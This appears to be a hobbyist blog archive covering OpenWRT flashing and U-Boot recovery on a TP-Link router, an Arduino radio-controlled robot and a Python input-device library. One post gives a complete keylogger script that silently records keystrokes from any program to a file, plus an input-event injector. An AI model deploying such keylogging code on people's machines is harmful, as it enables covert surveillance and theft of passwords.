Err:   serial 
Net:   ag7240_enet_initialize... 
No valid address in Flash. Using fixed address 
No valid address in Flash. Using fixed address 
: cfg1 0x5 cfg2 0x7114 
eth0: 00:03:7f:09:0b:ad 
ag7240_phy_setup 
eth0 up 
: cfg1 0xf cfg2 0x7214 
eth1: 00:03:7f:09:0b:ad 
athrs26_reg_init_lan 
ATHRS26: resetting s26 
ATHRS26: s26 reset done 
ag7240_phy_setup 
eth1 up 
eth0, eth1 
Autobooting in 1 seconds 
## Booting image at 9f020000 ... 
   Uncompressing Kernel Image ... Too big uncompressed streamLZMA ERROR 1 - must RESET

Uploading new firmware

At first, copy your working firmware file into tftpd directory.

buben@debian:~$ sudo cp openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin /srv/tftp/firmware

Link your computer with the router using ethernet cable and turn it on. U-Boot can be configured for another remote address where it expects TFTP server, default address is 192.168.1.100.

buben@debian:~$ sudo ifconfig eth0 192.168.1.100

Power on your router and type “tpl” into serial console during boot. You should get rescue hornet prompt.

hornet>
hornet> help 
?       - alias for 'help' 
bootm   - boot application image from memory 
cp      - memory copy 
erase   - erase FLASH memory 
help    - print online help 
md      - memory display 
mm      - memory modify (auto-incrementing) 
mtest   - simple RAM test 
mw      - memory write (fill) 
nm      - memory modify (constant address) 
printenv- print environment variables 
progmac - Set ethernet MAC addresses 
reset   - Perform RESET of the CPU 
setenv  - set environment variables 
tftpboot- boot image via network using TFTP protocol 
version - print monitor version

Now we are ready to upload new image into the device.

Following command contains memory offsets which I leave unexplained for now. These are basically addresses into memory and they are platform dependent (TL-WR703N uses MIPS architecture processor).

Download image file from remote server.

hornet> tftpboot 0x81000000 firmware 
dup 1 speed 1000 
Using eth1 device 
TFTP from server 192.168.1.100; our IP address is 192.168.1.111 
Filename 'firmware'. 
Load address: 0x81000000 
Loading: ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ###################################################### 
done 
Bytes transferred = 3932160 (3c0000 hex)

Then erase memory where firmware will be stored.

hornet> erase 0x9f020000 +0x3c0000 

First 0x2 last 0x3d sector size 0x10000 
  61 
Erased 60 sectors

Copy firmware into cleaned memory. Notice “cp.b” command. Cp takes three arguments, first is source memory offset, second is destination offset and third one is count of units. By default, cp takes one unit of long word (32 bits), cp.b is a byte version of copy. Tftpboot command above tells us, that 3932160 bytes were transferred (3c0000 in hex), so let's copy them into flash memory.

hornet> cp.b 0x81000000 0x9f020000 0x3c0000 
Copy to Flash... write addr: 9f020000 
done

Now you can restart the router or boot system by following command.

hornet> bootm 9f020000

Now your router should work again.

At the end, remember to stop TFTP server.

buben@debian:~$ sudo service tftpd-hpa stop

Installing OpenWRT on TP-Link router

It is some time, when I started experimenting with OpenWRT - an operating system for routers. It starts as a school project, when I had to write an article about operating systems for embedded devices.

OpenWRT is Linux based operating system. It is completely open source with a large community. Also it has huge list of supported devices. You can find more information on the official page.

Hardware

OpenWRT supports lot of procesor architectures, so it can run basically on anything. Except few devices which has not enough resources, such as flash storage or RAM.

I chose very popular TP-LINK TL-WR703N. It is very small and cost about 22 USD. It has 4 MB of flash, 32 MB RAM and MIPS architecture CPU at 400 MHz. It also supports 802.11n wireless standard and has one USB host port.

Serial console

If you are working with some embedded device, it is always good idea to have serial console. It is very handy for its management and configuration and really necessary for device rescue, if something goes wrong.

Every TP-Link router what I met has nice unpopulated PCB header with UART, providing serial console. But because this router is really small, it has only little pads with RX and TX (labeled TP_IN and TP_OUT).

You can find lot of tutorials on the Internet about accessing serial console. But basically each of them requires making holes into PCB for soldering pins or some other invasive method. I solved this by gluing 3-pin header with a hot glue on the back side of the Ethernet connector. Then I just connected RX and TX wires and third wire to the ground.

Identify a target

If your device is listed in supported devices, look at the device target. In case of TL-WR703N, target is ar71xx. If you are not sure about right target of your device, please look at this table. Target is based on the router chipset, not only on the processor's architecture. But let's suppose that you have device supported by OpenWRT.

Filesystem

Next you have to decide, which filesystem you want. There are two basic options.

• JFFS2 – writable compressed filesysem. It supports wear leveling and journaling. Compressed with LZMA compression.
• SquashFS – read-only filesystem compressed with LZMA. It is used in conjunction with overlayfs. In the result, there are two filesystems merged into one. This mechanism is called UnionFS. Lower one is read-only SquashFS and upper one is writable JFFS2.

I prefer two layered filesystem. It's writable and any changes can be easily restored into default state by erasing upper layer.

Please note, that SquashFS shouldn't be used on the NAND flash storage. If your router has NAND flash, you have to use another filesystem.

Installation

After determining correct target and identifying your needs, installation is really simple. Fist download image file. In my case it is http://downloads.openwrt.org/attitude_adjustment/12.09/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin

On most devices (and TL-WR703N isn't exception) you simply can access web interface and upload firmware image into appropriate upgrade form.

First of all, you have to connect to the router. I prefer wired connections. Most devices are configured with some reasonable address. You can read manual or simply guess it.

buben@debian:~$ sudo ifconfig eth0 192.168.1.10
buben@debian:~$ ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. 
64 bytes from 192.168.1.1: icmp_req=1 ttl=255 time=1.48 ms 
64 bytes from 192.168.1.1: icmp_req=2 ttl=255 time=3.09 ms 
64 bytes from 192.168.1.1: icmp_req=3 ttl=255 time=1.40 ms 
64 bytes from 192.168.1.1: icmp_req=4 ttl=255 time=2.02 ms

In my case, I had to use crossover cable. If you can't ping a device, make sure that this is not an issue.

I bought my TP-Link on ebay and it came with Chinese localization. I didn't have character sets installed for displaying page correctly. But it is not hard to find firmware upload form, even if I can't read basicaly anything.

Main menu in on the left side. The last item should be system management. After clicking on it, another sub-menu appears.

Menu items are nothing more than links. If you move a mouse on the link, most browsers will show you its location. Third menu item should be, what I'm looking for (mouse cursor isn't captured on the screenshot).

Before you upload an image file to the form, it's not bad idea to rename it to some short name. Also the file should have .bin suffix. In my case a file name length have to be up to 64 characters long and .bin suffix is also required.

buben@debian:~$ mv openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin openwrt.bin

Next select image file and submit it.

Firmware upgrade is most critical step in this process. Don't unplug a power source for your router. If you will do so, you will brick it. Brick can be restored, but I have no experience with that.

After successful flashing, you can access a serial console a see nice welcome message.

BusyBox v1.19.4 (2013-03-14 11:28:31 UTC) built-in shell (ash)
Enter 'help' for a list of built-in commands.

  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M
 -----------------------------------------------------
 ATTITUDE ADJUSTMENT (12.09, r36088)
 -----------------------------------------------------
  * 1/4 oz Vodka      Pour all ingredients into mixing
  * 1/4 oz Gin        tin with ice, strain into glass.
  * 1/4 oz Amaretto
  * 1/4 oz Triple sec
  * 1/4 oz Peach schnapps
  * 1/4 oz Sour mix
  * 1 splash Cranberry juice
 -----------------------------------------------------
root@OpenWrt:/#

Playing with twistedinput

In previous articles I described some basic stuff about twisted input. With this boring start, let's make some fun. In this short article I'll show you, how to build simple keylogger and event injector. Please don't abuse this for doing anything malicious. I don't take responsibility for it.

Simple keylogger

Twistedinput is ported for Linux systems only. Since most SW for Linux is also open-source, it's not hard to find a good keylogger without worrying about malware infection. But you can make your own. See the following example.

#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory
from twistedinput.defines import *
from twisted.internet import reactor
import sys

class KeyNames(object):

    keyMap = None

    def __init__(self):
        self.keyMap = {EV_KEY : self.getKeyNames()}

    def getKeyNames(self):
        """
        get mapping object for naming keys
        """
        return {
            KEY_A :     "A",    KEY_B :     "B",    KEY_C :     "C",
            KEY_D :     "D",    KEY_E :     "E",    KEY_F :     "F",
            KEY_G :     "G",    KEY_H :     "H",    KEY_I :     "J",
            KEY_K :     "K",    KEY_L :     "L",    KEY_M :     "M",
            KEY_N :     "N",    KEY_O :     "O",    KEY_P :     "P",
            KEY_Q :     "Q",    KEY_R :     "R",    KEY_S :     "S",
            KEY_T :     "T",    KEY_U :     "U",    KEY_V :     "V",
            KEY_W :     "W",    KEY_X :     "X",    KEY_Y :     "Y",
            KEY_Z :     "Z"}

    def getKeyName(self, event):
        try:
            return self.keyMap[event.type][event.code]
        except KeyError:
            return None

class LoggerProtocol(protocol.EventProtocol):

    keyNames = None
    logFile = None

    def __init__(self, eventFactory, keyNames, logFile):
        protocol.EventProtocol.__init__(self, eventFactory)
        self.keyNames = keyNames
        self.logFile = open(logFile, 'a')

    def eventReceived(self, event):
        if event.value:
            key = self.keyNames.getKeyName(event)
            if key is not None:
                self.logKey(key)

    def logKey(self, key):
        self.logFile.write(key)
        self.logFile.flush()

    def connectionLost(self, reason):
        self.logFile.close()

def main():
    if len(sys.argv) < 3:
        print "usage: %s <keyboard device> <log file>" % sys.argv[0]
        exit(1)
    dev = device.EventDevice(
        LoggerProtocol(
            factory.InputEventFactory(),
            KeyNames(),
            sys.argv[2]),
        sys.argv[1])
    dev.startReading()
    reactor.run()

if __name__ == '__main__':
    main()

KeyNames class does basically same think as EventMapping classes. But EventMapping has a different contract, describing its usage and purpose. It's good idea to define another class for naming a keys rather than modifying some mapping classes or use KeyNames as mapping.

For keep code simple, I named only character keys. You can make better keylogger in the same approach.

You can run this script in a background with arguments defining path to you keyboard device and log file respectively. After that it will log pressed keys into file, even if you type into another program.

Event injector

Another interesting thing is generate fake key strokes by software. You can type characters, move a mouse cursor or send power button event which shut down your computer.

Let's write another example. Following program periodically blink with CapsLock LED on you keyboard. Additionally it sniff key strokes and whenever you press left Ctrl button it moves your mouse by 10 pixels in random direction.

#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory, event, mapping
from twistedinput.defines import *
from twisted.internet import reactor, task
import sys
import random

class EventGenerator(object):

    def createSyncEvent(self):
        return event.InputEvent.buildInputEvent(EV_SYN, SYN_REPORT, 0)

    def createEventSeq(self):
        raise NotImplementedError("override in subclass")

class BlinkCaps(EventGenerator):

    state = None
    keyboardProtocol = None

    def __init__(self, keyboardProtocol):
        self.state = False
        self.keyboardProtocol = keyboardProtocol

    def __call__(self):
        for event in self.createEventSeq():
            self.keyboardProtocol.transport.write(event.toBytes())

    def createLedEvent(self):
        value = [0, 1][self.state]
        self.state = not self.state
        return event.InputEvent.buildInputEvent(EV_LED, LED_CAPSL, value)

    def createEventSeq(self):
        return [self.createLedEvent(), self.createSyncEvent()]

class MouseMove(EventGenerator):


    def __init__(self, moveDistance):
        self.moveDistance = moveDistance

    def getAxis(self):
        return random.choice([REL_X, REL_Y])

    def getMove(self):
        return random.choice([self.moveDistance, -self.moveDistance])

    def createMoveEvent(self):
        return event.InputEvent.buildInputEvent(EV_REL, self.getAxis(), self.getMove())

    def createEventSeq(self):
        return [self.createMoveEvent(), self.createSyncEvent()]

class KeyboardProtocol(protocol.EventProtocol):

    mouseProtocol = None
    mouseMove = None

    def __init__(self, *args, **kwargs):
        protocol.EventProtocol.__init__(self, *args, **kwargs)
        self.mouseMove = MouseMove(10)

    def keyLeftCtrl(self, event):
        if event.value:
            for event in self.mouseMove.createEventSeq():
                self.mouseProtocol.transport.write(event.toBytes())

class MouseProtocol(protocol.EventProtocol):

    def eventReceived(self, event):
        pass

def main():
    if len(sys.argv) < 3:
        print "usage: %s <keyboard device> <mouse device>" % sys.argv[0]
        exit(1)
    keyboardProtocol = KeyboardProtocol(
        factory.InputEventFactory(),
        mapping.KeyboardMapping())
    keyboard = device.EventDevice(
        keyboardProtocol,
        sys.argv[1])

    mouseProtocol = MouseProtocol(
        factory.InputEventFactory())
    mouse = device.EventDevice(
        mouseProtocol,
        sys.argv[2])

    keyboardProtocol.mouseProtocol = mouseProtocol

    t = task.LoopingCall(BlinkCaps(keyboardProtocol))
    t.start(1.0)

    keyboard.startReading()

    reactor.run()

if __name__ == '__main__':
    main()

Remote controlled robot

Reason, why I developed my little input library were that I wanted remotely control robots and other things with a computer. My idea was sending commands via serial line to the one Arduino and transmit them wirelessly into another. Twistedinput was designed as layer between input device and serial output.

I decided for Twisted framework because I very like it and because I can make very complex things with it. For example control robots over the Internet. Maybe build something like this :)

Wireless module

I'm using a cheap radio module from ebay. It is base on nRF24L01 chip. If you are interested in arduino, you are probably already familiar with it.

There is very nice library for this module called RF24. You can google out many tutorials and lot of other useful stuff for it.

Wireless transmitter

For sending commands into robot, I designed its own communication protocol. It is based on very similar data structure as input_event from linux/input.h header file.

Although transmitter has defined this structure, it doesn't actually use it. It only needs to know, how long this structure is. That's because it reads data from serial line byte by byte. When it receives all bytes needed for building one event structure, it sends them out.

Transmitter code

#include <SPI.h>
#include "RF24.h"

struct event {
  unsigned char type;
  unsigned char code;
  short value;
};

// buffer for received data
char eventBuffer[sizeof(struct event)];
int bufferIndex;

RF24 radio(9, 10);
const uint64_t pipes[2] = { 0xF0F0F0F0E1LL, 0xF0F0F0F0D2LL };

/**
 * routine for sending events
 */
void sendEvent(struct event * event) {
  radio.stopListening();
  
  // send event to robot
  radio.write(event, sizeof(struct event));
  
  radio.startListening();
}

void setup() {
  Serial.begin(19200);
  
  bufferIndex = 0;
  
  radio.begin();
  radio.setRetries(15, 15) ;
  radio.setPayloadSize(sizeof(struct event));
  
  radio.openWritingPipe(pipes[0]);
  radio.openReadingPipe(1,pipes[1]);
  
  radio.startListening();
}

void loop() {
  if(Serial.available() > 0) {
    Serial.readBytes(eventBuffer + bufferIndex, 1);
    bufferIndex++;
    if(!(bufferIndex < sizeof(struct event))) {
      bufferIndex = 0;
      sendEvent((struct event *)eventBuffer);
    }
  }
}

Wireless receiver

Receiver is my robot. It doesn't reads data byte by byte, it receives complete event structure instead. After that it needs to handle it.

Handling algorithm is little bit odd. I wanted to calculate, which pins should be LOW an which should by HIGH. This solution can do this but it isn't ideal way I thing.

The code is splitted into two parts. Header file with defines and second file with code. In the Arduino IDE you can create second file by clicking at small triangle on the right side, just below serial monitor button.

robot.h header file:

// define some commands
#define EV_MOVE         0x01

#define MOVE_FORWARD    0x01
#define MOVE_BACKWARD   0x02
#define MOVE_STOP       0x03
#define MOVE_LEFT       0x04
#define MOVE_RIGHT      0x05
#define MOVE_STRAIGHT   0x06

#define MOTOR_PIN_COUNT          4
#define LEFT_WHEEL_FORWARD       6
#define RIGHT_WHEEL_FORWARD      3
#define LEFT_WHEEL_BACKWARD      9
#define RIGHT_WHEEL_BACKWARD     5

struct event {
  unsigned char type;
  unsigned char code;
  short value;
};

// define moving states
enum Move {
  E_MOVE_STOP,
  E_MOVE_FORWARD,
  E_MOVE_BACKWARD
};

enum Turn {
  E_TURN_STRAIGHT,
  E_TURN_LEFT,
  E_TURN_RIGHT
};

// function prototypes
unsigned char getMoveMask(Move eMove);
unsigned char getTurnMask(Turn eTurn);
unsigned char getPinMask(Move eMove, Turn eTurn);
void update();
void doMove(struct event * event);
void handleEvent(struct event * event);
struct event * bytesToEvent(char * buffer);

robot code:

#include <SPI.h>
#include "RF24.h"
#include "nRF24L01.h"
#include "robot.h"

// buffer for received data
char eventBuffer[sizeof(struct event)];

RF24 radio(8, 10);
const uint64_t pipes[2] = { 0xF0F0F0F0E1LL, 0xF0F0F0F0D2LL };

// store current move direction
Move currentMove;
Turn currentTurn;

// store current pin mask for motors
unsigned char currentPinMask;

int motorPins[] = {
  RIGHT_WHEEL_BACKWARD,
  RIGHT_WHEEL_FORWARD,
  LEFT_WHEEL_BACKWARD,
  LEFT_WHEEL_FORWARD
};

/**
 * get mask for move
 */
unsigned char getMoveMask(Move eMove) {
  switch(eMove) {
    case E_MOVE_STOP:      return B0000; break;
    case E_MOVE_FORWARD:   return B1010; break;
    case E_MOVE_BACKWARD:  return B0101; break;
  }
}

/**
 * get mask for turn
 */
unsigned char getTurnMask(Turn eTurn) {
  switch(eTurn) {
    case E_TURN_STRAIGHT:  return B0000; break;
    case E_TURN_LEFT:      return B0110; break;
    case E_TURN_RIGHT:     return B1001; break;
  }
}

unsigned char getPinMask(Move eMove, Turn eTurn) {
  unsigned char moveMask = getMoveMask(eMove);
  unsigned char turnMask = getTurnMask(eTurn);
  if((moveMask == 0) || (turnMask == 0)) {
    return moveMask | turnMask;
  }
  if(eMove == E_MOVE_BACKWARD) {
    turnMask = ~turnMask;
  }
  return moveMask & turnMask;
}

/**
 * update motor pins
 */
void update() {
  int i;
  unsigned char pinMask = getPinMask(currentMove, currentTurn);
  
  // create differential pin mask by xoring current mask and new mask
  // differential mask is used for handling only those pins, which really needs
  // to change its state
  unsigned char differentialPinMask = currentPinMask ^ pinMask;
  
  // handle pins which needs to be set LOW at first
  for(i = 0; i < MOTOR_PIN_COUNT; i++) {
    if(((differentialPinMask & (0x1 << i)) != 0) &&
      ((pinMask & (0x1 << i)) == 0)) {
      digitalWrite(motorPins[i], LOW);
    } 
  }
  
  // handle pins which needs to be set HIGH
  for(i = 0; i < MOTOR_PIN_COUNT; i++) {
    if(((differentialPinMask & (0x1 << i)) != 0) &&
      ((pinMask & (0x1 << i)) != 0)) {
      digitalWrite(motorPins[i], HIGH);
    } 
  }
  
  // assign new mask
  currentPinMask = pinMask;
}

void doMove(struct event * event) {
  switch(event->code) {
    case MOVE_FORWARD:   currentMove = E_MOVE_FORWARD;     break;
    case MOVE_BACKWARD:  currentMove = E_MOVE_BACKWARD;    break;
    case MOVE_STOP:      currentMove = E_MOVE_STOP;        break;
    case MOVE_LEFT:      currentTurn = E_TURN_LEFT;        break;
    case MOVE_RIGHT:     currentTurn = E_TURN_RIGHT;       break;
    case MOVE_STRAIGHT:  currentTurn = E_TURN_STRAIGHT;    break;
  }
  update();
}

void handleEvent(struct event * event) {
  switch(event->type) {
    case EV_MOVE:        doMove(event);               break;
  }
}

/**
 * convert big-endian bytes pointed by buffer into
 * native endian event structure
 */
struct event * bytesToEvent(char * buffer) {
  short val = *(short *)(((void *)buffer) + (2 * sizeof(unsigned char)));
  *((short *)(((void *)buffer) + (2 * sizeof(unsigned char)))) = (val << 8) | ((val >> 8) & 0xff);
  return (struct event *)buffer;
}

void setup() {
  
  // debug only
  Serial.begin(19200);
  
  // set motor pins to OUTPUT
  int i;
  for(i = 0; i < MOTOR_PIN_COUNT; i++) {
    pinMode(motorPins[i], OUTPUT);
  }
  
  // initialize pin mask
  currentPinMask = 0x0;
  
  // initialize current move direction
  currentMove = E_MOVE_STOP;
  currentTurn = E_TURN_STRAIGHT;
  
  radio.begin();
  radio.setRetries(15, 15);
  radio.setPayloadSize(sizeof(struct event));
  
  radio.openWritingPipe(pipes[1]);
  radio.openReadingPipe(1,pipes[0]);
  
  radio.startListening();
}

void loop() {
  if(radio.available() > 0) {
    bool done = false;
    while(! done) {
      done = radio.read(eventBuffer, sizeof(struct event));
    }
    handleEvent(bytesToEvent(eventBuffer));
  }
}

Endianness

Endianness is a way of storing data types, which are more than one byte long. If you are not familiar with it, please read wikipedia.

It's known convention, that all data send across network should be encoded in big-endian byte order. For that reason my robot actually doesn't receive event structure. It receive some bytes which needs to be encoded into right order. This is what bytesToEvent routine do. Unfortunately, I don't now about some elegant solution, my implementation is little bit dirty. If Arduino were based on some big-endian architecture, this routine will return an event structure in wrong byte order.

Controlling with computer

Finally we need last piece of software, which runs on the computer. A computer acts like interface between transmitting Arduino and in input device. But it can do more things. It can save all events into file and reproduce them later or it can be some kind of autopilot. This software hasn't send data into transmitter directly, but over computer network. What ever you want.

You can download my radiocontrol script

Using twistedinput

Recently I described basics of asynchronous file reading with Twisted framework. Using this approach is build my twistedinput library. Now I would like describe more this library and show you basic usage.

InputEvent objects

Before we can start using twistedinput, you have to understand of basic building block of this library.

If you read previous article, you should remember, that we simply printed out length of received data. Let me quickly describe these data.

When you press button on your input device, protocol from previous article actually received couple of input_event structures. This structure is defined in linux/input.h header file.

struct input_event {
    struct timeval time;
    __u16 type;
    __u16 code;
    __s32 value;
};

Time is another structure. It is composed of two fields – seconds and microseconds. Both are 64-bit long. Type and code are unsigned 16-bit values. Value field is signed 32-bit value.

Twistedinput knows this structure and has wrapper class InputEvent for it. See the basic usage.

>>> from twistedinput.event import InputEvent 
>>> event = InputEvent.buildInputEvent(1, 2, 3) 
>>> print unicode(event) 
time: 1379719268.6574370, type: 0x0001, code: 0x0002, value: 0x00000003 
>>> event.time.seconds 
1379719268 
>>> event.type 
1 
>>> event.code 
2 
>>> event.value 
3 

Receiving events

Now you are familiar with InputEvent class. Lets write small script, which receives event from your input device. I'm using Genius gamepad with device file located at /dev/input/event15.

from twistedinput.device import EventDevice
from twistedinput.protocol import EventProtocol
from twistedinput.factory import InputEventFactory
from twisted.internet import reactor
import sys

class GamepadProtocol(EventProtocol):

    def eventReceived(self, event):
        print unicode(event)

gamepad = EventDevice(
    GamepadProtocol(InputEventFactory()),
    sys.argv[1])
gamepad.startReading()
reactor.run()

Twistedinput has protocol for receiving events. Is simply receive data from input device and save them in buffer. When it has enough data for creating an event, it use factory (given as first argument) for building it and calls eventReceived method.

When I run this script and press and release buttons 1, 2, 3 and 4 respectively, I get following output

buben@debian:~$ python gamepad.py /dev/input/event15 
time: 1379976614.640730, type: 0x0004, code: 0x0004, value: 0x00090001 
time: 1379976614.640733, type: 0x0001, code: 0x0120, value: 0x00000001 
time: 1379976614.640781, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976614.712725, type: 0x0004, code: 0x0004, value: 0x00090001 
time: 1379976614.712730, type: 0x0001, code: 0x0120, value: 0x00000000 
time: 1379976614.712774, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976614.888736, type: 0x0004, code: 0x0004, value: 0x00090002 
time: 1379976614.888741, type: 0x0001, code: 0x0121, value: 0x00000001 
time: 1379976614.888786, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976614.944742, type: 0x0004, code: 0x0004, value: 0x00090002 
time: 1379976614.944747, type: 0x0001, code: 0x0121, value: 0x00000000 
time: 1379976614.944790, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.192746, type: 0x0004, code: 0x0004, value: 0x00090003 
time: 1379976615.192752, type: 0x0001, code: 0x0122, value: 0x00000001 
time: 1379976615.192792, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.272742, type: 0x0004, code: 0x0004, value: 0x00090003 
time: 1379976615.272747, type: 0x0001, code: 0x0122, value: 0x00000000 
time: 1379976615.272788, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.632773, type: 0x0004, code: 0x0004, value: 0x00090004 
time: 1379976615.632778, type: 0x0001, code: 0x0123, value: 0x00000001 
time: 1379976615.632815, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.712743, type: 0x0004, code: 0x0004, value: 0x00090004 
time: 1379976615.712746, type: 0x0001, code: 0x0123, value: 0x00000000 
time: 1379976615.712768, type: 0x0000, code: 0x0000, value: 0x00000000 

There are 24 events in total. Four buttons has been pressed and released. There are three events for each physical event. In other words, when you press a button, three events is generated. Not all buttons generate three events, some generate only two.

Let's despite first three events which belongs to button 1.

time: 1379976614.640730, type: 0x0004, code: 0x0004, value: 0x00090001 
time: 1379976614.640733, type: 0x0001, code: 0x0120, value: 0x00000001 
time: 1379976614.640781, type: 0x0000, code: 0x0000, value: 0x00000000 

First event has type 0x4 and code 0x4. These values corresponds to symbolic names EV_MSC and MSC_SCAN in linux/input.h header file. This sort of events are not important to us for now.

The second one has type 0x1 and code 0x120. Symbolic names are EV_KEY and BTN_TRIGGER. So type telling us that some button has been pressed. Code describing which button has been pressed. And finally value is value of this button. This is the most important event for us.

The last one is synchronization event. It is used as event separator. We can ignore it too.

Using Mapping

Now we can handle events in one eventReceived method. It's fine if you are interested in for few event types. But what if you are writing driver for keyboard. Your eventReceived should be composed from very long list of elif statemets for handling all different key. That's not good idea. In this case event mapping comes for your rescue.

Event mapping maps event into their handle routines. Everything what you have to do is implement only those routines, which you are interested in.

Instance of mapping is second optional argument for EventProtocol. If omnited, you have to override eventReceived method. If you provide mapping, simply implement methods defined by mapping and only those, which are interesting for you. Let's look at following example.

from twistedinput.device import EventDevice
from twistedinput.protocol import EventProtocol
from twistedinput.factory import InputEventFactory
from twistedinput.mapping import GamepadEventMapping
from twisted.internet import reactor
import sys

class GamepadProtocol(EventProtocol):

    def button1(self, event):
        print "button 1:", event.value

    def button2(self, event):
        print "button 2:", event.value

    def button3(self, event):
        print "button 3:", event.value

    def button4(self, event):
        print "button 4:", event.value

    def nonMappedEvent(self, event):
        print "not supported event:", unicode(event)

gamepad = EventDevice(
    GamepadProtocol(
        InputEventFactory(),
        GamepadEventMapping()),
    sys.argv[1])
gamepad.startReading()
reactor.run()

Lets run this script and see its output

buben@debian:~$ python gamepad.py /dev/input/event15 
button 1: 1 
button 1: 0 
button 2: 1 
button 2: 0 
button 3: 1 
button 3: 0 
button 4: 1 
button 4: 0 

This is much better. If you don't implement method defined by mapping, nothing happened. If mapping doesn't map some event, nonMappedEvent method is called with this event as an argument.